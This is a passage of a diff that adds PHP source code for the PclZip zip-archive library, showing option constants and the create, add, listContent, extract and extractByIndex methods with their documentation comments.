+  define( 'PCLZIP_OPT_PREPEND_COMMENT', 77014 );
+  define( 'PCLZIP_OPT_EXTRACT_IN_OUTPUT', 77015 );
+  define( 'PCLZIP_OPT_REPLACE_NEWER', 77016 );
+  define( 'PCLZIP_OPT_STOP_ON_ERROR', 77017 );
+  // Having big trouble with crypt. Need to multiply 2 long int
+  // which is not correctly supported by PHP ...
+  //define( 'PCLZIP_OPT_CRYPT', 77018 );
+  define( 'PCLZIP_OPT_EXTRACT_DIR_RESTRICTION', 77019 );
+  
+  // ----- File description attributes
+  define( 'PCLZIP_ATT_FILE_NAME', 79001 );
+  define( 'PCLZIP_ATT_FILE_NEW_SHORT_NAME', 79002 );
+  define( 'PCLZIP_ATT_FILE_NEW_FULL_NAME', 79003 );
+
+  // ----- Call backs values
+  define( 'PCLZIP_CB_PRE_EXTRACT', 78001 );
+  define( 'PCLZIP_CB_POST_EXTRACT', 78002 );
+  define( 'PCLZIP_CB_PRE_ADD', 78003 );
+  define( 'PCLZIP_CB_POST_ADD', 78004 );
+
+  class PclZip
+  {
+    // ----- Filename of the zip file
+    var $zipname = '';
+
+    // ----- File descriptor of the zip file
+    var $zip_fd = 0;
+
+    // ----- Internal error handling
+    var $error_code = 1;
+    var $error_string = '';
+    
+    // ----- Current status of the magic_quotes_runtime
+    // This value store the php configuration for magic_quotes
+    // The class can then disable the magic_quotes and reset it after
+    var $magic_quotes_status;
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZip()
+  // Description :
+  //   Creates a PclZip object and set the name of the associated Zip archive
+  //   filename.
+  //   Note that no real action is taken, if the archive does not exist it is not
+  //   created. Use create() for that.
+  // --------------------------------------------------------------------------------
+  function PclZip($p_zipname)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, 'PclZip::PclZip', "zipname=$p_zipname");
+
+    // ----- Tests the zlib
+    if (!function_exists('gzopen'))
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 1, "zlib extension seems to be missing");
+      die('Abort '.basename(__FILE__).' : Missing zlib extensions');
+    }
+
+    // ----- Set the attributes
+    $this->zipname = $p_zipname;
+    $this->zip_fd = 0;
+    $this->magic_quotes_status = -1;
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 1);
+    return;
+  }
+
+  function create($p_filelist)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, 'PclZip::create', "filelist='$p_filelist', ...");
+    $v_result=1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Set default values
+    $v_options = array();
+    $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE;
+
+    // ----- Look for variable options arguments
+    $v_size = func_num_args();
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "$v_size arguments passed to the method");
+
+    // ----- Look for arguments
+    if ($v_size > 1) {
+      // ----- Get the arguments
+      $v_arg_list = func_get_args();
+
+      // ----- Remove from the options list the first argument
+      array_shift($v_arg_list);
+      $v_size--;
+
+      // ----- Look for first arg
+      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Variable list of options detected");
+
+        // ----- Parse the options
+        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
+                                            array (PCLZIP_OPT_REMOVE_PATH => 'optional',
+                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
+                                                   PCLZIP_OPT_ADD_PATH => 'optional',
+                                                   PCLZIP_CB_PRE_ADD => 'optional',
+                                                   PCLZIP_CB_POST_ADD => 'optional',
+                                                   PCLZIP_OPT_NO_COMPRESSION => 'optional',
+                                                   PCLZIP_OPT_COMMENT => 'optional'
+                                                   //, PCLZIP_OPT_CRYPT => 'optional'
+                                             ));
+        if ($v_result != 1) {
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+          return 0;
+        }
+      }
+
+      // ----- Look for 2 args
+      // Here we need to support the first historic synopsis of the
+      // method.
+      else {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Static synopsis");
+
+        // ----- Get the first argument
+        $v_options[PCLZIP_OPT_ADD_PATH] = $v_arg_list[0];
+
+        // ----- Look for the optional second argument
+        if ($v_size == 2) {
+          $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];
+        }
+        else if ($v_size > 2) {
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
+		                       "Invalid number / type of arguments");
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+          return 0;
+        }
+      }
+    }
+
+    // ----- Init
+    $v_string_list = array();
+    $v_att_list = array();
+    $v_filedescr_list = array();
+    $p_result_list = array();
+    
+    // ----- Look if the $p_filelist is really an array
+    if (is_array($p_filelist)) {
+    
+      // ----- Look if the first element is also an array
+      //       This will mean that this is a file description entry
+      if (isset($p_filelist[0]) && is_array($p_filelist[0])) {
+        $v_att_list = $p_filelist;
+      }
+      
+      // ----- The list is a list of string names
+      else {
+        $v_string_list = $p_filelist;
+      }
+    }
+
+    // ----- Look if the $p_filelist is a string
+    else if (is_string($p_filelist)) {
+      // ----- Create a list from the string
+      $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);
+    }
+
+    // ----- Invalid variable type for $p_filelist
+    else {
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_filelist");
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+      return 0;
+    }
+    
+    // ----- Reformat the string list
+    if (sizeof($v_string_list) != 0) {
+      foreach ($v_string_list as $v_string) {
+        if ($v_string != '') {
+          $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;
+        }
+        else {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Ignore an empty filename");
+        }
+      }
+    }
+    
+    // ----- For each file in the list check the attributes
+    $v_supported_attributes
+    = array ( PCLZIP_ATT_FILE_NAME => 'mandatory'
+             ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional'
+             ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional'
+						);
+    foreach ($v_att_list as $v_entry) {
+      $v_result = $this->privFileDescrParseAtt($v_entry,
+                                               $v_filedescr_list[],
+                                               $v_options,
+                                               $v_supported_attributes);
+      if ($v_result != 1) {
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+        return 0;
+      }
+    }
+
+    // ----- Expand the filelist (expand directories)
+    $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);
+    if ($v_result != 1) {
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+      return 0;
+    }
+
+    // ----- Call the create fct
+    $v_result = $this->privCreate($v_filedescr_list, $p_result_list, $v_options);
+    if ($v_result != 1) {
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+      return 0;
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $p_result_list);
+    return $p_result_list;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function :
+  //   add($p_filelist, $p_add_dir="", $p_remove_dir="")
+  //   add($p_filelist, $p_option, $p_option_value, ...)
+  // Description :
+  //   This method supports two synopsis. The first one is historical.
+  //   This methods add the list of files in an existing archive.
+  //   If a file with the same name already exists, it is added at the end of the
+  //   archive, the first one is still present.
+  //   If the archive does not exist, it is created.
+  // Parameters :
+  //   $p_filelist : An array containing file or directory names, or
+  //                 a string containing one filename or one directory name, or
+  //                 a string containing a list of filenames and/or directory
+  //                 names separated by spaces.
+  //   $p_add_dir : A path to add before the real path of the archived file,
+  //                in order to have it memorized in the archive.
+  //   $p_remove_dir : A path to remove from the real path of the file to archive,
+  //                   in order to have a shorter path memorized in the archive.
+  //                   When $p_add_dir and $p_remove_dir are set, $p_remove_dir
+  //                   is removed first, before $p_add_dir is added.
+  // Options :
+  //   PCLZIP_OPT_ADD_PATH :
+  //   PCLZIP_OPT_REMOVE_PATH :
+  //   PCLZIP_OPT_REMOVE_ALL_PATH :
+  //   PCLZIP_OPT_COMMENT :
+  //   PCLZIP_OPT_ADD_COMMENT :
+  //   PCLZIP_OPT_PREPEND_COMMENT :
+  //   PCLZIP_CB_PRE_ADD :
+  //   PCLZIP_CB_POST_ADD :
+  // Return Values :
+  //   0 on failure,
+  //   The list of the added files, with a status of the add action.
+  //   (see PclZip::listContent() for list entry format)
+  // --------------------------------------------------------------------------------
+  function add($p_filelist)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, 'PclZip::add', "filelist='$p_filelist', ...");
+    $v_result=1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Set default values
+    $v_options = array();
+    $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE;
+
+    // ----- Look for variable options arguments
+    $v_size = func_num_args();
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "$v_size arguments passed to the method");
+
+    // ----- Look for arguments
+    if ($v_size > 1) {
+      // ----- Get the arguments
+      $v_arg_list = func_get_args();
+
+      // ----- Remove form the options list the first argument
+      array_shift($v_arg_list);
+      $v_size--;
+
+      // ----- Look for first arg
+      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Variable list of options detected");
+
+        // ----- Parse the options
+        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
+                                            array (PCLZIP_OPT_REMOVE_PATH => 'optional',
+                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
+                                                   PCLZIP_OPT_ADD_PATH => 'optional',
+                                                   PCLZIP_CB_PRE_ADD => 'optional',
+                                                   PCLZIP_CB_POST_ADD => 'optional',
+                                                   PCLZIP_OPT_NO_COMPRESSION => 'optional',
+                                                   PCLZIP_OPT_COMMENT => 'optional',
+                                                   PCLZIP_OPT_ADD_COMMENT => 'optional',
+                                                   PCLZIP_OPT_PREPEND_COMMENT => 'optional'
+                                                   //, PCLZIP_OPT_CRYPT => 'optional'
+												   ));
+        if ($v_result != 1) {
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+          return 0;
+        }
+      }
+
+      // ----- Look for 2 args
+      // Here we need to support the first historic synopsis of the
+      // method.
+      else {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Static synopsis");
+
+        // ----- Get the first argument
+        $v_options[PCLZIP_OPT_ADD_PATH] = $v_add_path = $v_arg_list[0];
+
+        // ----- Look for the optional second argument
+        if ($v_size == 2) {
+          $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];
+        }
+        else if ($v_size > 2) {
+          // ----- Error log
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");
+
+          // ----- Return
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+          return 0;
+        }
+      }
+    }
+
+    // ----- Init
+    $v_string_list = array();
+    $v_att_list = array();
+    $v_filedescr_list = array();
+    $p_result_list = array();
+    
+    // ----- Look if the $p_filelist is really an array
+    if (is_array($p_filelist)) {
+    
+      // ----- Look if the first element is also an array
+      //       This will mean that this is a file description entry
+      if (isset($p_filelist[0]) && is_array($p_filelist[0])) {
+        $v_att_list = $p_filelist;
+      }
+      
+      // ----- The list is a list of string names
+      else {
+        $v_string_list = $p_filelist;
+      }
+    }
+
+    // ----- Look if the $p_filelist is a string
+    else if (is_string($p_filelist)) {
+      // ----- Create a list from the string
+      $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);
+    }
+
+    // ----- Invalid variable type for $p_filelist
+    else {
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type '".gettype($p_filelist)."' for p_filelist");
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+      return 0;
+    }
+    
+    // ----- Reformat the string list
+    if (sizeof($v_string_list) != 0) {
+      foreach ($v_string_list as $v_string) {
+        $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;
+      }
+    }
+    
+    // ----- For each file in the list check the attributes
+    $v_supported_attributes
+    = array ( PCLZIP_ATT_FILE_NAME => 'mandatory'
+             ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional'
+             ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional'
+						);
+    foreach ($v_att_list as $v_entry) {
+      $v_result = $this->privFileDescrParseAtt($v_entry,
+                                               $v_filedescr_list[],
+                                               $v_options,
+                                               $v_supported_attributes);
+      if ($v_result != 1) {
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+        return 0;
+      }
+    }
+
+    // ----- Expand the filelist (expand directories)
+    $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);
+    if ($v_result != 1) {
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+      return 0;
+    }
+
+    // ----- Call the create fct
+    $v_result = $this->privAdd($v_filedescr_list, $p_result_list, $v_options);
+    if ($v_result != 1) {
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+      return 0;
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $p_result_list);
+    return $p_result_list;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : listContent()
+  // Description :
+  //   This public method, gives the list of the files and directories, with their
+  //   properties.
+  //   The properties of each entries in the list are (used also in other functions) :
+  //     filename : Name of the file. For a create or add action it is the filename
+  //                given by the user. For an extract function it is the filename
+  //                of the extracted file.
+  //     stored_filename : Name of the file / directory stored in the archive.
+  //     size : Size of the stored file.
+  //     compressed_size : Size of the file's data compressed in the archive
+  //                       (without the headers overhead)
+  //     mtime : Last known modification date of the file (UNIX timestamp)
+  //     comment : Comment associated with the file
+  //     folder : true | false
+  //     index : index of the file in the archive
+  //     status : status of the action (depending of the action) :
+  //              Values are :
+  //                ok : OK !
+  //                filtered : the file / dir is not extracted (filtered by user)
+  //                already_a_directory : the file can not be extracted because a
+  //                                      directory with the same name already exists
+  //                write_protected : the file can not be extracted because a file
+  //                                  with the same name already exists and is
+  //                                  write protected
+  //                newer_exist : the file was not extracted because a newer file exists
+  //                path_creation_fail : the file is not extracted because the folder
+  //                                     does not exists and can not be created
+  //                write_error : the file was not extracted because there was a
+  //                              error while writing the file
+  //                read_error : the file was not extracted because there was a error
+  //                             while reading the file
+  //                invalid_header : the file was not extracted because of an archive
+  //                                 format error (bad file header)
+  //   Note that each time a method can continue operating when there
+  //   is an action error on a file, the error is only logged in the file status.
+  // Return Values :
+  //   0 on an unrecoverable failure,
+  //   The list of the files in the archive.
+  // --------------------------------------------------------------------------------
+  function listContent()
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, 'PclZip::listContent', "");
+    $v_result=1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Check archive
+    if (!$this->privCheckFormat()) {
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+      return(0);
+    }
+
+    // ----- Call the extracting fct
+    $p_list = array();
+    if (($v_result = $this->privList($p_list)) != 1)
+    {
+      unset($p_list);
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0, PclZip::errorInfo());
+      return(0);
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $p_list);
+    return $p_list;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function :
+  //   extract($p_path="./", $p_remove_path="")
+  //   extract([$p_option, $p_option_value, ...])
+  // Description :
+  //   This method supports two synopsis. The first one is historical.
+  //   This method extract all the files / directories from the archive to the
+  //   folder indicated in $p_path.
+  //   If you want to ignore the 'root' part of path of the memorized files
+  //   you can indicate this in the optional $p_remove_path parameter.
+  //   By default, if a newer file with the same name already exists, the
+  //   file is not extracted.
+  //
+  //   If both PCLZIP_OPT_PATH and PCLZIP_OPT_ADD_PATH aoptions
+  //   are used, the path indicated in PCLZIP_OPT_ADD_PATH is append
+  //   at the end of the path value of PCLZIP_OPT_PATH.
+  // Parameters :
+  //   $p_path : Path where the files and directories are to be extracted
+  //   $p_remove_path : First part ('root' part) of the memorized path
+  //                    (if any similar) to remove while extracting.
+  // Options :
+  //   PCLZIP_OPT_PATH :
+  //   PCLZIP_OPT_ADD_PATH :
+  //   PCLZIP_OPT_REMOVE_PATH :
+  //   PCLZIP_OPT_REMOVE_ALL_PATH :
+  //   PCLZIP_CB_PRE_EXTRACT :
+  //   PCLZIP_CB_POST_EXTRACT :
+  // Return Values :
+  //   0 or a negative value on failure,
+  //   The list of the extracted files, with a status of the action.
+  //   (see PclZip::listContent() for list entry format)
+  // --------------------------------------------------------------------------------
+  function extract()
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::extract", "");
+    $v_result=1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Check archive
+    if (!$this->privCheckFormat()) {
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+      return(0);
+    }
+
+    // ----- Set default values
+    $v_options = array();
+//    $v_path = "./";
+    $v_path = '';
+    $v_remove_path = "";
+    $v_remove_all_path = false;
+
+    // ----- Look for variable options arguments
+    $v_size = func_num_args();
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "$v_size arguments passed to the method");
+
+    // ----- Default values for option
+    $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;
+
+    // ----- Look for arguments
+    if ($v_size > 0) {
+      // ----- Get the arguments
+      $v_arg_list = func_get_args();
+
+      // ----- Look for first arg
+      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Variable list of options");
+
+        // ----- Parse the options
+        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
+                                            array (PCLZIP_OPT_PATH => 'optional',
+                                                   PCLZIP_OPT_REMOVE_PATH => 'optional',
+                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
+                                                   PCLZIP_OPT_ADD_PATH => 'optional',
+                                                   PCLZIP_CB_PRE_EXTRACT => 'optional',
+                                                   PCLZIP_CB_POST_EXTRACT => 'optional',
+                                                   PCLZIP_OPT_SET_CHMOD => 'optional',
+                                                   PCLZIP_OPT_BY_NAME => 'optional',
+                                                   PCLZIP_OPT_BY_EREG => 'optional',
+                                                   PCLZIP_OPT_BY_PREG => 'optional',
+                                                   PCLZIP_OPT_BY_INDEX => 'optional',
+                                                   PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',
+                                                   PCLZIP_OPT_EXTRACT_IN_OUTPUT => 'optional',
+                                                   PCLZIP_OPT_REPLACE_NEWER => 'optional'
+                                                   ,PCLZIP_OPT_STOP_ON_ERROR => 'optional'
+                                                   ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional'
+												    ));
+        if ($v_result != 1) {
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+          return 0;
+        }
+
+        // ----- Set the arguments
+        if (isset($v_options[PCLZIP_OPT_PATH])) {
+          $v_path = $v_options[PCLZIP_OPT_PATH];
+        }
+        if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {
+          $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];
+        }
+        if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
+          $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];
+        }
+        if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {
+          // ----- Check for '/' in last path char
+          if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {
+            $v_path .= '/';
+          }
+          $v_path .= $v_options[PCLZIP_OPT_ADD_PATH];
+        }
+      }
+
+      // ----- Look for 2 args
+      // Here we need to support the first historic synopsis of the
+      // method.
+      else {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Static synopsis");
+
+        // ----- Get the first argument
+        $v_path = $v_arg_list[0];
+
+        // ----- Look for the optional second argument
+        if ($v_size == 2) {
+          $v_remove_path = $v_arg_list[1];
+        }
+        else if ($v_size > 2) {
+          // ----- Error log
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");
+
+          // ----- Return
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0, PclZip::errorInfo());
+          return 0;
+        }
+      }
+    }
+
+    // ----- Trace
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "path='$v_path', remove_path='$v_remove_path', remove_all_path='".($v_remove_path?'true':'false')."'");
+
+    // ----- Call the extracting fct
+    $p_list = array();
+    $v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path,
+	                                     $v_remove_all_path, $v_options);
+    if ($v_result < 1) {
+      unset($p_list);
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0, PclZip::errorInfo());
+      return(0);
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $p_list);
+    return $p_list;
+  }
+  // --------------------------------------------------------------------------------
+
+
+  // --------------------------------------------------------------------------------
+  // Function :
+  //   extractByIndex($p_index, $p_path="./", $p_remove_path="")
+  //   extractByIndex($p_index, [$p_option, $p_option_value, ...])
+  // Description :
+  //   This method supports two synopsis. The first one is historical.
+  //   This method is doing a partial extract of the archive.
+  //   The extracted files or folders are identified by their index in the
+  //   archive (from 0 to n).
+  //   Note that if the index identify a folder, only the folder entry is
+  //   extracted, not all the files included in the archive.
+  // Parameters :
+  //   $p_index : A single index (integer) or a string of indexes of files to
+  //              extract. The form of the string is "0,4-6,8-12" with only numbers
+  //              and '-' for range or ',' to separate ranges. No spaces or ';'
+  //              are allowed.
+  //   $p_path : Path where the files and directories are to be extracted
+  //   $p_remove_path : First part ('root' part) of the memorized path
+  //                    (if any similar) to remove while extracting.
+  // Options :
+  //   PCLZIP_OPT_PATH :
+  //   PCLZIP_OPT_ADD_PATH :
+  //   PCLZIP_OPT_REMOVE_PATH :
+  //   PCLZIP_OPT_REMOVE_ALL_PATH :
+  //   PCLZIP_OPT_EXTRACT_AS_STRING : The files are extracted as strings and
+  //     not as files.
+  //     The resulting content is in a new field 'content' in the file
+  //     structure.
+  //     This option must be used alone (any other options are ignored).
+  //   PCLZIP_CB_PRE_EXTRACT :
+  //   PCLZIP_CB_POST_EXTRACT :
+  // Return Values :
+  //   0 on failure,
+  //   The list of the extracted files, with a status of the action.
+  //   (see PclZip::listContent() for list entry format)
+  // --------------------------------------------------------------------------------
+  //function extractByIndex($p_index, options...)
+function extractByIndex($p_index)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::extractByIndex", "index='$p_index', ...");
+    $v_result=1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Check archive
+    if (!$this->privCheckFormat()) {
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+      return(0);
+    }
+
+    // ----- Set default values
+    $v_options = array();
+//    $v_path = "./";
+    $v_path = '';
+    $v_remove_path = "";
+    $v_remove_all_path = false;
+
+    // ----- Look for variable options arguments
+    $v_size = func_num_args();
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "$v_size arguments passed to the method");
+
+    // ----- Default values for option
+    $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;
+
+    // ----- Look for arguments
+    if ($v_size > 1) {
+      // ----- Get the arguments
+      $v_arg_list = func_get_args();
+
+      // ----- Remove form the options list the first argument
+      array_shift($v_arg_list);
+      $v_size--;
+
+      // ----- Look for first arg
+      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Variable list of options");
+
+        // ----- Parse the options
+        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
+                                            array (PCLZIP_OPT_PATH => 'optional',
+                                                   PCLZIP_OPT_REMOVE_PATH => 'optional',
+                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
+                                                   PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',
+                                                   PCLZIP_OPT_ADD_PATH => 'optional',
+                                                   PCLZIP_CB_PRE_EXTRACT => 'optional',
+                                                   PCLZIP_CB_POST_EXTRACT => 'optional',
+                                                   PCLZIP_OPT_SET_CHMOD => 'optional',
+                                                   PCLZIP_OPT_REPLACE_NEWER => 'optional'
+                                                   ,PCLZIP_OPT_STOP_ON_ERROR => 'optional'
+                                                   ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional'
+												   ));
+        if ($v_result != 1) {
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+          return 0;
+        }
+
+        // ----- Set the arguments
+        if (isset($v_options[PCLZIP_OPT_PATH])) {
+          $v_path = $v_options[PCLZIP_OPT_PATH];
+        }
+        if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {
+          $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];
+        }
+        if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
+          $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];
+        }
+        if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {
+          // ----- Check for '/' in last path char
+          if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {
+            $v_path .= '/';
+          }
+          $v_path .= $v_options[PCLZIP_OPT_ADD_PATH];
+        }
+        if (!isset($v_options[PCLZIP_OPT_EXTRACT_AS_STRING])) {
+          $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Option PCLZIP_OPT_EXTRACT_AS_STRING not set.");
+        }
+        else {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Option PCLZIP_OPT_EXTRACT_AS_STRING set.");
+        }
+      }
+
+      // ----- Look for 2 args
+      // Here we need to support the first historic synopsis of the
+      // method.
+      else {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Static synopsis");
+
+        // ----- Get the first argument
+        $v_path = $v_arg_list[0];
+
+        // ----- Look for the optional second argument
+        if ($v_size == 2) {
+          $v_remove_path = $v_arg_list[1];
+        }
+        else if ($v_size > 2) {
+          // ----- Error log
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");
+
+          // ----- Return
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+          return 0;
+        }
+      }
+    }
+
+    // ----- Trace
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "index='$p_index', path='$v_path', remove_path='$v_remove_path', remove_all_path='".($v_remove_path?'true':'false')."'");
+
+    // ----- Trick
+    // Here I want to reuse extractByRule(), so I need to parse the $p_index
+    // with privParseOptions()
+    $v_arg_trick = array (PCLZIP_OPT_BY_INDEX, $p_index);
+    $v_options_trick = array();
+    $v_result = $this->privParseOptions($v_arg_trick, sizeof($v_arg_trick), $v_options_trick,
+                                        array (PCLZIP_OPT_BY_INDEX => 'optional' ));
+    if ($v_result != 1) {
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+        return 0;
+    }
+    $v_options[PCLZIP_OPT_BY_INDEX] = $v_options_trick[PCLZIP_OPT_BY_INDEX];
+
+    // ----- Call the extracting fct
+    if (($v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, $v_remove_all_path, $v_options)) < 1) {
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0, PclZip::errorInfo());
+        return(0);
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $p_list);
+    return $p_list;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function :
+  //   delete([$p_option, $p_option_value, ...])
+  // Description :
+  //   This method removes files from the archive.
+  //   If no parameters are given, then all the archive is emptied.
+  // Parameters :
+  //   None or optional arguments.
+  // Options :
+  //   PCLZIP_OPT_BY_INDEX :
+  //   PCLZIP_OPT_BY_NAME :
+  //   PCLZIP_OPT_BY_EREG : 
+  //   PCLZIP_OPT_BY_PREG :
+  // Return Values :
+  //   0 on failure,
+  //   The list of the files which are still present in the archive.
